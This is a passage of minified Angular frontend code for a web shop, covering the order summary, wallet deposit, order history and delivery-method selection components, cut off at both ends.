ontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large}.heading-text[_ngcontent-%COMP%]{justify-content:center;padding:12px 20px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%], mat-header-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.price-align[_ngcontent-%COMP%]{text-align:right}.tweet-logo[_ngcontent-%COMP%]{height:24px}"]}),n})();function ql(n,a){if(1&n&&(t.TgZ(0,"mat-card",20)(1,"div")(2,"div")(3,"b",14),t._uU(4,"PAYMENT_METHOD"),t.qZA()(),t.TgZ(5,"div")(6,"span",14),t._uU(7,"CARD_ENDING_IN"),t.qZA(),t._uU(8),t.qZA(),t.TgZ(9,"div")(10,"span",14),t._uU(11,"CARD_HOLDER"),t.qZA(),t._uU(12),t.qZA()()()),2&n){const e=t.oxw(2);t.xp6(8),t.hij(" ",null==e.paymentMethod?null:e.paymentMethod.cardNum,""),t.xp6(4),t.hij(" ",null==e.paymentMethod?null:e.paymentMethod.fullName,"")}}function Fl(n,a){1&n&&(t.TgZ(0,"mat-card",20)(1,"div")(2,"div")(3,"b",14),t._uU(4,"PAYMENT_METHOD"),t.qZA()(),t.TgZ(5,"div")(6,"span",14),t._uU(7,"DIGITAL_WALLET"),t.qZA()()()())}function Bl(n,a){if(1&n&&(t.TgZ(0,"div",16)(1,"mat-card",17)(2,"div")(3,"div")(4,"b",14),t._uU(5,"LABEL_DELIVERY_ADDRESS"),t.qZA()(),t.TgZ(6,"div"),t._uU(7),t.qZA(),t.TgZ(8,"div"),t._uU(9),t.qZA(),t.TgZ(10,"div"),t._uU(11),t.qZA(),t.TgZ(12,"div")(13,"span",14),t._uU(14,"PHONE_NUMBER"),t.qZA(),t._uU(15),t.qZA()()(),t.YNc(16,ql,13,2,"mat-card",18),t.YNc(17,Fl,8,0,"ng-template",null,19,t.W1O),t.qZA()),2&n){const e=t.MAs(18),o=t.oxw();t.xp6(7),t.Oqu(null==o.address?null:o.address.fullName),t.xp6(2),t.HOy("",null==o.address?null:o.address.streetAddress,", ",null==o.address?null:o.address.city,", ",null==o.address?null:o.address.state,", ",null==o.address?null:o.address.zipCode,""),t.xp6(2),t.Oqu(null==o.address?null:o.address.country),t.xp6(4),t.hij(" ",null==o.address?null:o.address.mobileNum,""),t.xp6(1),t.Q6J("ngIf","wallet"!==o.paymentMethod)("ngIfElse",e)}}const Rl=function(n){return{bonus:n}};let Yl=(()=>{class n{constructor(e,o,i,r,l,m,v){this.router=e,this.addressService=o,this.paymentService=i,this.basketService=r,this.deliveryService=l,this.ngZone=m,this.snackBarHelperService=v,this.bonus=0,this.itemTotal=0,this.deliveryPrice=0,this.promotionalDiscount=0}ngOnInit(){this.deliveryService.getById(sessionStorage.getItem("deliveryMethodId")).subscribe(e=>{this.deliveryPrice=e.price}),this.addressService.getById(sessionStorage.getItem("addressId")).subscribe(e=>{this.address=e},e=>{console.log(e)}),"wallet"!==sessionStorage.getItem("paymentId")?this.paymentService.getById(sessionStorage.getItem("paymentId")).subscribe(e=>{e.cardNum=String(e.cardNum).substring(String(e.cardNum).length-4),this.paymentMethod=e},e=>{console.log(e)}):"wallet"===sessionStorage.getItem("paymentId")&&(this.paymentMethod="wallet")}getMessage(e){this.itemTotal=e[0],this.promotionalDiscount=sessionStorage.getItem("couponDiscount")?parseFloat(sessionStorage.getItem("couponDiscount"))/100*this.itemTotal:0,this.bonus=e[1]}placeOrder(){var e=this;const o={paymentId:sessionStorage.getItem("paymentId"),addressId:sessionStorage.getItem("addressId"),deliveryMethodId:sessionStorage.getItem("deliveryMethodId")};this.basketService.checkout(Number(sessionStorage.getItem("bid")),btoa(sessionStorage.getItem("couponDetails")),o).subscribe(i=>{sessionStorage.removeItem("paymentId"),sessionStorage.removeItem("addressId"),sessionStorage.removeItem("deliveryMethodId"),sessionStorage.removeItem("couponDetails"),sessionStorage.removeItem("couponDiscount"),this.basketService.updateNumberOfCartItems(),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/order-completion",i])}))},i=>{console.log(i),this.snackBarHelperService.open(i.error?.error.message,"errorBar")})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(mt),t.Y36(ue),t.Y36(X),t.Y36(Dt),t.Y36(t.R0b),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-order-summary"]],decls:36,vars:10,consts:[["fxLayout","row","fxLayoutGap","10%","fxLayout.lt-md","column",1,"mat-elevation-z6","mat-own-card"],["fxLayout","column","fxLayoutGap","20px","fxFlex","70%"],["fxLayout","row","fxLayoutGap","10px","fxLayout.lt-md","column",4,"ngIf"],[3,"allowEdit","totalPrice","emitTotal"],["fxFlex","40%"],[1,"mat-elevation-z0"],["translate","",1,"order-summary"],[1,"mat-table"],[1,"mat-row"],["translate","",1,"mat-cell","label"],[1,"mat-cell","price"],["translate","",1,"mat-footer-cell","label"],[1,"mat-footer-cell","price"],["mat-raised-button","","mat-button","","color","primary","aria-label","Complete your purchase","id","checkoutButton",1,"btn","btn-pay",3,"click"],["translate",""],["translate","",1,"bonus-points",3,"translateParams"],["fxLayout","row","fxLayoutGap","10px","fxLayout.lt-md","column"],["fxFlex","60%",1,"mat-elevation-z0"],["class","mat-elevation-z0","fxFlex","40%",4,"ngIf","ngIfElse"],["walletPayment",""],["fxFlex","40%",1,"mat-elevation-z0"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1),t.YNc(2,Bl,19,9,"div",2),t.TgZ(3,"app-purchase-basket",3),t.NdJ("emitTotal",function(r){return o.getMessage(r)}),t.qZA()(),t.TgZ(4,"div",4)(5,"mat-card",5)(6,"div",6),t._uU(7,"ORDER_SUMMARY"),t.qZA(),t.TgZ(8,"table",7)(9,"tr",8)(10,"td",9),t._uU(11,"ITEMS"),t.qZA(),t.TgZ(12,"td",10),t._uU(13),t.qZA()(),t.TgZ(14,"tr",8)(15,"td",9),t._uU(16,"DELIVERY"),t.qZA(),t.TgZ(17,"td",10),t._uU(18),t.qZA()(),t.TgZ(19,"tr",8)(20,"td",9),t._uU(21,"PROMOTION"),t.qZA(),t.TgZ(22,"td",10),t._uU(23),t.qZA()(),t.TgZ(24,"tr",8)(25,"td",11),t._uU(26,"LABEL_TOTAL_PRICE"),t.qZA(),t.TgZ(27,"td",12),t._uU(28),t.qZA()()(),t.TgZ(29,"button",13),t.NdJ("click",function(){return o.placeOrder()}),t.TgZ(30,"mat-icon"),t._uU(31," monetization_on "),t.qZA(),t.TgZ(32,"span",14),t._uU(33,"PLACE_ORDER_AND_PAY"),t.qZA()(),t.TgZ(34,"div",15),t._uU(35,"CHECKOUT_FOR_BONUS_POINTS"),t.qZA()()()()),2&e&&(t.xp6(2),t.Q6J("ngIf",o.address&&o.paymentMethod),t.xp6(1),t.Q6J("allowEdit",!1)("totalPrice",!1),t.xp6(10),t.hij("",null==o.itemTotal?null:o.itemTotal.toFixed(2),"\\xa4"),t.xp6(5),t.hij("",o.deliveryPrice.toFixed(2),"\\xa4"),t.xp6(5),t.hij("",o.promotionalDiscount.toFixed(2),"\\xa4"),t.xp6(5),t.hij("",o.itemTotal+o.deliveryPrice-o.promotionalDiscount==null?null:(o.itemTotal+o.deliveryPrice-o.promotionalDiscount).toFixed(2),"\\xa4 "),t.xp6(6),t.Q6J("translateParams",t.VKq(8,Rl,o.bonus)))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.yH,F.Hw,x.lW,T.a8,_e],styles:[".btn-pay[_ngcontent-%COMP%]{display:block;margin-top:10px;width:100%}mat-card[_ngcontent-%COMP%]{height:auto;margin-top:20px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.main-wrapper[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}mat-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.price[_ngcontent-%COMP%]:last-of-type{padding-right:10px;text-align:right}.label[_ngcontent-%COMP%]:first-of-type{padding-left:10px}table[_ngcontent-%COMP%]{width:100%}.mat-footer-cell[_ngcontent-%COMP%]{font-weight:700}.order-summary[_ngcontent-%COMP%]{font-size:x-large;padding-bottom:10px;padding-left:10px}.bonus-points[_ngcontent-%COMP%]{margin-top:5px;text-align:center}"]}),n})();function Jl(n,a){1&n&&(t.TgZ(0,"mat-error",3),t._uU(1," MANDATORY_AMOUNT "),t.qZA())}function Ql(n,a){1&n&&(t.TgZ(0,"mat-error",3),t._uU(1," AMOUNT_LIMIT "),t.qZA())}let Hl=(()=>{class n{constructor(e,o,i){this.router=e,this.walletService=o,this.ngZone=i,this.balanceControl=new s.p4("",[s.kI.required,s.kI.min(10),s.kI.max(1e3)])}ngOnInit(){this.walletService.get().subscribe(e=>{this.balance=parseFloat(e).toFixed(2)},e=>{console.log(e)})}continue(){var e=this;sessionStorage.setItem("walletTotal",this.balanceControl.value),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/payment","wallet"])}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(ce),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-wallet"]],decls:27,vars:14,consts:[[1,"mat-elevation-z6"],[1,"header_container"],["href","/#/wallet-web3","translate",""],["translate",""],[1,"confirmation"],["appearance","outline","color","accent"],["type","number","matInput","","aria-label","Enter an amount",3,"formControl"],["translate","",4,"ngIf"],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Button to continue to payment",3,"disabled","click"],[1,"material-icons"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1)(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.qZA(),t.TgZ(5,"a",2),t._uU(6,"LINK_TRY_OUT_NEW_CRYPTO_WALLET"),t.qZA()(),t.TgZ(7,"h3",3),t._uU(8,"LABEL_ADD_MONEY"),t.qZA(),t.TgZ(9,"p")(10,"b")(11,"span",3),t._uU(12,"LABEL_WALLET_BALANCE"),t.qZA(),t.TgZ(13,"span",4),t._uU(14),t.qZA()()(),t.TgZ(15,"mat-form-field",5)(16,"mat-label"),t._uU(17),t.ALo(18,"translate"),t.qZA(),t._UZ(19,"input",6),t.YNc(20,Jl,2,0,"mat-error",7),t.YNc(21,Ql,2,0,"mat-error",7),t.qZA(),t.TgZ(22,"button",8),t.NdJ("click",function(){return o.continue()}),t.TgZ(23,"i",9),t._uU(24," monetization_on "),t.qZA(),t._uU(25),t.ALo(26,"translate"),t.qZA()()),2&e&&(t.xp6(3),t.Oqu(t.lcZ(4,8,"DIGITAL_WALLET")),t.xp6(11),t.hij(" ",o.balance,""),t.xp6(3),t.Oqu(t.lcZ(18,10,"LABEL_AMOUNT")),t.xp6(2),t.Q6J("formControl",o.balanceControl),t.xp6(1),t.Q6J("ngIf",o.balanceControl.invalid&&o.balanceControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.balanceControl.invalid&&(o.balanceControl.errors.min||o.balanceControl.errors.max)),t.xp6(1),t.Q6J("disabled",o.balanceControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(26,12,"BTN_DEPOSIT")," "))},dependencies:[h.O5,u.Pi,s.Fj,s.wV,s.JJ,s.oH,f.TO,f.KE,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-left:30%;margin-right:30%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px;width:100%}.form-container[_ngcontent-%COMP%]{min-width:350px}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.header_container[_ngcontent-%COMP%]{display:flex;justify-content:space-between}@media (max-width: 1100px){mat-card[_ngcontent-%COMP%]{margin-left:20%;margin-right:20%}}@media (max-width: 580px){mat-card[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}.header_container[_ngcontent-%COMP%]{flex-direction:column;margin-bottom:16px}}"]}),n})();function Gl(n,a){1&n&&(t.TgZ(0,"div",32),t._uU(1,"LABEL_IN_TRANSIT"),t.qZA())}function jl(n,a){1&n&&(t.TgZ(0,"div",33),t._uU(1,"LABEL_DELIVERED"),t.qZA())}function Kl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",34),t._uU(1,"LABEL_PRODUCT"),t.qZA())}function Wl(n,a){if(1&n&&(t.TgZ(0,"mat-cell",35),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.name," ")}}function zl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",36),t._uU(1,"LABEL_PRICE"),t.qZA())}function $l(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.price,"\\xa4")}}function Vl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",36),t._uU(1,"LABEL_QUANTITY"),t.qZA())}function Xl(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37)(1,"span"),t._uU(2),t.qZA()()),2&n){const e=a.$implicit;t.xp6(2),t.Oqu(e.quantity)}}function tc(n,a){1&n&&(t.TgZ(0,"mat-header-cell",36),t._uU(1,"LABEL_TOTAL_PRICE"),t.qZA())}function ec(n,a){if(1&n&&(t.TgZ(0,"mat-cell",38),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.total.toFixed(2),"\\xa4")}}function nc(n,a){1&n&&t._UZ(0,"mat-header-cell",36)}function oc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",37)(1,"button",17),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(3);return t.KtG(l.showDetail(r.id))}),t.ALo(2,"translate"),t.TgZ(3,"mat-icon"),t._uU(4," rate_review "),t.qZA()()()}2&n&&(t.xp6(1),t.s9C("matTooltip",t.lcZ(2,1,"WRITE_REVIEW")))}function ac(n,a){1&n&&t._UZ(0,"mat-header-row")}function ic(n,a){1&n&&t._UZ(0,"mat-row")}function rc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"div",6)(2,"div",7)(3,"div",8)(4,"div",9)(5,"div",10),t._uU(6,"LABEL_ORDER_ID"),t.qZA(),t.TgZ(7,"div"),t._uU(8),t.qZA()(),t.TgZ(9,"div",11)(10,"div",10),t._uU(11,"LABEL_TOTAL_PRICE"),t.qZA(),t.TgZ(12,"div"),t._uU(13),t.qZA()(),t.TgZ(14,"div",11)(15,"div",10),t._uU(16,"LABEL_BONUS"),t.qZA(),t.TgZ(17,"div"),t._uU(18),t.qZA()(),t.TgZ(19,"div",12),t.YNc(20,Gl,2,0,"div",13),t.YNc(21,jl,2,0,"div",14),t.qZA(),t.TgZ(22,"div",15)(23,"button",16),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.trackOrder(r.orderId))}),t.ALo(24,"translate"),t.TgZ(25,"mat-icon"),t._uU(26," local_shipping "),t.qZA()()(),t.TgZ(27,"div",15)(28,"button",17),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.openConfirmationPDF(r.orderId))}),t.ALo(29,"translate"),t.TgZ(30,"mat-icon"),t._uU(31," note "),t.qZA()()()(),t._UZ(32,"div",18),t.qZA(),t.TgZ(33,"mat-table",19),t.ynx(34,20),t.YNc(35,Kl,2,0,"mat-header-cell",21),t.YNc(36,Wl,2,1,"mat-cell",22),t.BQk(),t.ynx(37,23),t.YNc(38,zl,2,0,"mat-header-cell",24),t.YNc(39,$l,2,1,"mat-cell",25),t.BQk(),t.ynx(40,26),t.YNc(41,Vl,2,0,"mat-header-cell",24),t.YNc(42,Xl,3,1,"mat-cell",25),t.BQk(),t.ynx(43,27),t.YNc(44,tc,2,0,"mat-header-cell",24),t.YNc(45,ec,2,1,"mat-cell",28),t.BQk(),t.ynx(46,29),t.YNc(47,nc,1,0,"mat-header-cell",24),t.YNc(48,oc,5,3,"mat-cell",25),t.BQk(),t.YNc(49,ac,1,0,"mat-header-row",30),t.YNc(50,ic,1,0,"mat-row",31),t.qZA()()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(8),t.hij("#",e.orderId,""),t.xp6(5),t.hij("",e.totalPrice.toFixed(2),"\\xa4"),t.xp6(5),t.Oqu(e.bonus),t.xp6(2),t.Q6J("ngIf",!e.delivered),t.xp6(1),t.Q6J("ngIf",e.delivered),t.xp6(2),t.s9C("matTooltip",t.lcZ(24,10,"LABEL_TRACK_ORDER")),t.xp6(5),t.s9C("matTooltip",t.lcZ(29,12,"PRINT_ORDER_CONFIRMATION")),t.xp6(5),t.Q6J("dataSource",e.products),t.xp6(16),t.Q6J("matHeaderRowDef",o.tableColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.tableColumns)}}function sc(n,a){if(1&n&&(t.TgZ(0,"div",4),t.YNc(1,rc,51,14,"div",5),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngForOf",e.orders)}}function lc(n,a){1&n&&(t.TgZ(0,"mat-card",39),t._UZ(1,"img",40),t.TgZ(2,"mat-card-title")(3,"span",41),t._uU(4," NO_SEARCH_RESULT "),t.qZA()(),t.TgZ(5,"mat-card-content")(6,"span",41),t._uU(7," NO_ORDERS_PLACED "),t.qZA()()())}let cc=(()=>{class n{constructor(e,o,i,r,l,m){this.router=e,this.dialog=o,this.orderHistoryService=i,this.basketService=r,this.productService=l,this.ngZone=m,this.tableColumns=["product","price","quantity","total price","review"],this.orders=[],this.emptyState=!0}ngOnInit(){this.orderHistoryService.get().subscribe(e=>{e=e.reverse(),this.emptyState=0===e.length;for(const o of e){const i=[];for(const r of o.products)i.push({id:r.id,name:r.name,price:r.price,quantity:r.quantity,total:r.total});this.orders.push({orderId:o.orderId,totalPrice:o.totalPrice,bonus:o.bonus,products:new d.by(i),delivered:o.delivered})}},e=>{console.log(e)})}showDetail(e){this.productService.get(e).subscribe(o=>{const i={id:o.id,name:o.name,description:o.description,image:o.image,price:o.price,points:Math.round(o.price/10)};this.dialog.open(ye,{width:"500px",height:"max-content",data:{productData:i}})},o=>{console.log(o)})}openConfirmationPDF(e){window.open(`${this.basketService.hostServer}/ftp/order_${e}.pdf`,"_blank")}trackOrder(e){var o=this;this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/track-result"],{queryParams:{id:e}})}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(N.uw),t.Y36(pe),t.Y36(X),t.Y36(Pt),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-order-history"]],decls:8,vars:5,consts:[[1,"card1"],[1,"mat-card-cvr"],["fxLayout","column","fxLayoutGap","20px",4,"ngIf","ngIfElse"],["emptyResult",""],["fxLayout","column","fxLayoutGap","20px"],[4,"ngFor","ngForOf"],[1,"table-container","mat-elevation-z4","custom-slate"],[1,"heading"],["fxLayout","row"],["fxFlex","40%","fxLayout","column"],["translate",""],["fxFlex","15%","fxLayout","column"],["fxFlex","20%"],["class","error","translate","",4,"ngIf"],["class","confirmation","translate","",4,"ngIf"],["fxFlex","5%","fxLayoutAlign","end"],["mat-icon-button","","aria-label","Track Your Order","matTooltipPosition","below",3,"matTooltip","click"],["mat-icon-button","","aria-label","Print order confirmation","matTooltipPosition","below",3,"matTooltip","click"],[1,"border"],[3,"dataSource"],["matColumnDef","product"],["translate","","fxFlex","40%",4,"matHeaderCellDef"],["fxFlex","40%",4,"matCellDef"],["matColumnDef","price"],["translate","","fxFlex","15%",4,"matHeaderCellDef"],["fxFlex","15%",4,"matCellDef"],["matColumnDef","quantity"],["matColumnDef","total price"],["class","price-align","fxFlex","15%",4,"matCellDef"],["matColumnDef","review"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["translate","",1,"error"],["translate","",1,"confirmation"],["translate","","fxFlex","40%"],["fxFlex","40%"],["translate","","fxFlex","15%"],["fxFlex","15%"],["fxFlex","15%",1,"price-align"],[1,"mat-elevation-z6","emptyState"],["alt"," No results found","src","assets/public/images/products/no-results.png",1,"img-responsive","noResult"],["translate","",1,"noResultText"]],template:function(e,o){if(1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1)(2,"mat-card-title"),t._uU(3),t.ALo(4,"translate"),t.qZA(),t.YNc(5,sc,2,1,"div",2),t.YNc(6,lc,8,0,"ng-template",null,3,t.W1O),t.qZA()()),2&e){const i=t.MAs(7);t.xp6(3),t.hij(" ",t.lcZ(4,3,"LABEL_ORDER_HISTORY")," "),t.xp6(2),t.Q6J("ngIf",!o.emptyState)("ngIfElse",i)}},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.Wh,p.yH,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,T.dn,T.n5,Q.gM,u.X$],styles:[".heading[_ngcontent-%COMP%]{padding:12px 20px}.heading-text[_ngcontent-%COMP%]{justify-content:center;padding:12px 20px}mat-card[_ngcontent-%COMP%]{height:auto;width:80%}.card1[_ngcontent-%COMP%]{border-radius:5px;margin:0 auto;width:80%}.main-wrapper[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.price-align[_ngcontent-%COMP%]{text-align:right}mat-card-title[_ngcontent-%COMP%]{margin-bottom:25px}.border[_ngcontent-%COMP%]{border:.5px solid #f2f2f2}.emptyState[_ngcontent-%COMP%]{display:block;height:auto!important;margin:20px auto;width:50%}.custom-slate[_ngcontent-%COMP%]{border-radius:5px}.noResult[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;width:60%}.noResultText[_ngcontent-%COMP%]{display:block;margin-top:10px;text-align:center}"]}),n})();function uc(n,a){if(1&n&&(t.TgZ(0,"div",22)(1,"h1",4),t._uU(2,"LABEL_DELIVERY_ADDRESS"),t.qZA(),t.TgZ(3,"div"),t._uU(4),t.qZA(),t.TgZ(5,"div"),t._uU(6),t.qZA(),t.TgZ(7,"div"),t._uU(8),t.qZA(),t.TgZ(9,"div")(10,"span",4),t._uU(11,"PHONE_NUMBER"),t.qZA(),t._uU(12),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.Oqu(null==e.address?null:e.address.fullName),t.xp6(2),t.HOy("",null==e.address?null:e.address.streetAddress,", ",null==e.address?null:e.address.city,", ",null==e.address?null:e.address.state,", ",null==e.address?null:e.address.zipCode,""),t.xp6(2),t.Oqu(null==e.address?null:e.address.country),t.xp6(4),t.hij(" ",null==e.address?null:e.address.mobileNum,"")}}function pc(n,a){1&n&&t._UZ(0,"mat-divider",23)}function dc(n,a){1&n&&t._UZ(0,"mat-header-cell",24)}function mc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",24)(1,"mat-radio-button",25),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.selectMethod(r.id))})("change",function(i){const l=t.CHM(e).$implicit,m=t.oxw();return t.KtG(i?m.selection.toggle(l):null)}),t.qZA()()}if(2&n){const e=a.$implicit,o=t.oxw();t.xp6(1),t.Q6J("checked",o.selection.isSelected(e))}}function gc(n,a){1&n&&t._UZ(0,"mat-header-cell",26)}function hc(n,a){if(1&n&&(t.TgZ(0,"mat-cell",26),t._UZ(1,"i",27),t._uU(2),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngClass",e.icon),t.xp6(1),t.hij("\\xa0",e.name,"")}}function _c(n,a){1&n&&t._UZ(0,"mat-header-cell",28)}function fc(n,a){if(1&n&&(t.TgZ(0,"mat-cell",29),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.price.toFixed(2),"\\xa4")}}function Cc(n,a){1&n&&t._UZ(0,"mat-header-cell",30)}function vc(n,a){if(1&n&&(t.TgZ(0,"mat-cell",29),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.AsE("",e.eta," ",t.lcZ(2,2,"LABEL_DAYS"),"")}}function xc(n,a){1&n&&t._UZ(0,"mat-header-row")}function bc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-row",31),t.NdJ("click",function(){const i=t.CHM(e),r=i.$implicit,l=i.$implicit,m=t.oxw();return m.selection.toggle(r),t.KtG(m.selectMethod(l.id))}),t.qZA()}}O.vI.add(g.tMT,g.x0v,g.$KU);let Tc=(()=>{class n{constructor(e,o,i,r,l){this.location=e,this.deliverySerivce=o,this.addressService=i,this.router=r,this.ngZone=l,this.displayedColumns=["Selection","Name","Price","ETA"],this.deliveryMethodId=void 0,this.selection=new Oe.Ov(!1,[])}ngOnInit(){this.addressService.getById(sessionStorage.getItem("addressId")).subscribe(e=>{this.address=e},e=>{console.log(e)}),this.deliverySerivce.get().subscribe(e=>{console.log(e),this.methods=e,this.dataSource=new d.by(this.methods)},e=>{console.log(e)})}selectMethod(e){this.deliveryMethodId=this.selection.hasValue()||e?e:void 0}routeToPreviousUrl(){this.location.back()}chooseDeliveryMethod(){var e=this;sessionStorage.setItem("deliveryMethodId",this.deliveryMethodId.toString()),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/payment","shop"])}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.Ye),t.Y36(Dt),t.Y36(mt),t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-delivery-method"]],decls:33,vars:9,consts:[[1,"mat-elevation-z6"],["class","addressCont",4,"ngIf"],["class","detail-divider",4,"ngIf"],[2,"height","12px"],["translate",""],[3,"dataSource"],["matColumnDef","Selection"],["fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","Name"],["fxFlex","30%",4,"matHeaderCellDef"],["fxFlex","30%",4,"matCellDef"],["matColumnDef","Price"],["translate","LABEL_PRICE","fxFlex","25%",4,"matHeaderCellDef"],["fxFlex","25%",4,"matCellDef"],["matColumnDef","ETA"],["translate","LABEL_EXPECTED_DELIVERY","fxFlex","25%",4,"matHeaderCellDef"],[4,"matHeaderRowDef"],[3,"click",4,"matRowDef","matRowDefColumns"],[2,"margin-top","20px"],["mat-stroked-button","",1,"btn","btn-return",3,"click"],["mat-raised-button","","mat-button","","color","primary","aria-label","Proceed to delivery method selection",1,"btn","nextButton",3,"disabled","click"],[1,"addressCont"],[1,"detail-divider"],["fxFlex","20%"],[3,"checked","click","change"],["fxFlex","30%"],[3,"ngClass"],["translate","LABEL_PRICE","fxFlex","25%"],["fxFlex","25%"],["translate","LABEL_EXPECTED_DELIVERY","fxFlex","25%"],[3,"click"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0),t.YNc(1,uc,13,7,"div",1),t.YNc(2,pc,1,0,"mat-divider",2),t._UZ(3,"div",3),t.TgZ(4,"div")(5,"h1",4),t._uU(6,"LABEL_CHOOSE_A_DELIVERY_SPEED"),t.qZA(),t.TgZ(7,"mat-table",5),t.ynx(8,6),t.YNc(9,dc,1,0,"mat-header-cell",7),t.YNc(10,mc,2,1,"mat-cell",8),t.BQk(),t.ynx(11,9),t.YNc(12,gc,1,0,"mat-header-cell",10),t.YNc(13,hc,3,2,"mat-cell",11),t.BQk(),t.ynx(14,12),t.YNc(15,_c,1,0,"mat-header-cell",13),t.YNc(16,fc,2,1,"mat-cell",14),t.BQk(),t.ynx(17,15),t.YNc(18,Cc,1,0,"mat-header-cell",16),t.YNc(19,vc,3,4,"mat-cell",14),t.BQk(),t.YNc(20,xc,1,0,"mat-header-row",17),t.YNc(21,bc,1,0,"mat-row",18),t.qZA()(),t.TgZ(22,"div",19)(23,"button",20),t.NdJ("click",function(){return o.routeToPreviousUrl()}),t.TgZ(24,"mat-icon"),t._uU(25," navigate_before "),t.qZA(),t._uU(26),t.ALo(27,"translate"),t.qZA(),t.TgZ(28,"button",21),t.NdJ("click",function(){return o.chooseDeliveryMethod()}),t.TgZ(29,"mat-icon"),t._uU(30," navigate_next "),t.qZA(),t.TgZ(31,"span",4),t._uU(32,"LABEL_CONTINUE"),t.qZA()()()()),2&e&&(t.xp6(1),t.Q6J("ngIf",o.address),t.xp6(1),t.Q6J("ngIf",o.address),t.xp6(5),t.Q6J("dataSource",o.dataSource),t.xp6(13),t.Q6J("matHeaderRowDef",o.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.displayedColumns),t.xp6(5),t.hij(" ",t.lcZ(27,7,"LABEL_BACK")," "),t.xp6(2),t.Q6J("disabled",void 0===o.deliveryMethodId))},dependencies:[h.mk,h.O5,u.Pi,p.yH,$.oO,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,z.d,nt.U0,u.X$],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.addressCont[_ngcontent-%COMP%]{margin-bottom:12px}.detail-divider[_ngcontent-%COMP%]{border-top-width:4px!important;margin-left:1%!important;width:98%!important}.btn-return[_ngcontent-%COMP%]{display:block;margin-left:0;margin-right:auto}.nextButton[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:0;margin-top:-37px}"]}),n})();var Ac=c(6498);const yc=n=>{if("string"==typeof n.value)return(0,bt.of)(null);const a=n.value,e=new FileReader;return new Ac.y(i=>{e.addEventListener("loadend",()=>{const r=new Uint8Array(e.result).subarray(0,4);let l="",m=!1;for(let 